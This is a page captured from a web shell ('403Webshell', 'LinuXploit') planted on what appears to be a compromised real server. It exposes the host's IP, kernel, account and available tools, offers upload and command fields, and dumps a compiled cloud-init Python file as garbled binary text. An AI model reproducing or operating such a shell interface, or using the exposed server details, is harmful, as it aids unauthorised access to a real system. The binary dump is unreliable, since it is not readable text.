403Webshell
Server IP : 23.254.227.96  /  Your IP : 216.73.216.7
Web Server : Apache/2.4.62 (Unix) OpenSSL/1.1.1k
System : Linux hwsrv-1277026.hostwindsdns.com 4.18.0-477.13.1.el8_8.x86_64 #1 SMP Tue May 30 14:53:41 EDT 2023 x86_64
User : viralblo ( 1001)
PHP Version : 8.1.31
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /lib/python3.6/site-packages/cloudinit/net/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /lib/python3.6/site-packages/cloudinit/net/__pycache__/openbsd.cpython-36.pyc
3

��b��@sZddlZddlZddlmZddlmZmZeje�Z	Gdd�dej
jj�Z
ddd�ZdS)	�N)�log)�subp�utilc@s&eZdZdd�Zd	dd�Zdd�ZdS)
�RenderercCs�x�|jj�D]�\}}dj|�}tj|j|�}||j�kr>d}nht|t�r�ydj|d|dd�}Wn t	k
r�t
jd|�YnX|jd�}|r�|d	|7}|d
7}t
j||�qWdS)Nzetc/hostname.{}zdhcp
zinet {address} {netmask}�address�netmask)rrz#Invalid static configuration for %s�mtuz mtu %d�
)Zinterface_configurations�items�formatr�target_path�target�dhcp_interfaces�
isinstance�dict�KeyError�LOG�error�getr�
write_file)�selfZdevice_name�v�if_file�fn�contentr�r�/usr/lib/python3.6/openbsd.py�write_config
s"


zRenderer.write_configFcCs�tttj�jd�d�dk�}|js2tjd�dS|rrtjddgdd�x�|j	�D]}tjd	d
d|gdd�qRWn^tjdd
gdddgd�tjdddgdddgd�tjdddgdddgd�tjddgdd�dS)N�.r�z!openbsd generate postcmd disabledZshz
/etc/netstartT)�captureZdhcpleasectlz-wZ30ZpkillZdhclient�)r �rcsZroute�del�default�flush)
�bool�int�platform�release�splitZ	_postcmdsr�debugrr)rZrunZhas_dhcpleasectlZ	interfacerrr�start_services"s
zRenderer.start_servicescCs2|dkr.d}tj|j|�}|d}tj||�dS)Nz0.0.0.0z
etc/mygater	)rrr
rr)rZnetworkrZgatewayrrrrrr�	set_route3s
zRenderer.set_routeN)F)�__name__�
__module__�__qualname__rr,r-rrrrrs
rcCstj�S)N)rZ
is_OpenBSD)r
rrr�	available;sr1)N)r(Zcloudinit.net.bsdZ	cloudinitrZloggingrrZ	getLoggerr.rZnetZbsdZBSDRendererrr1rrrr�<module>s
/

Youez - 2016 - github.com/yon3zu
LinuXploit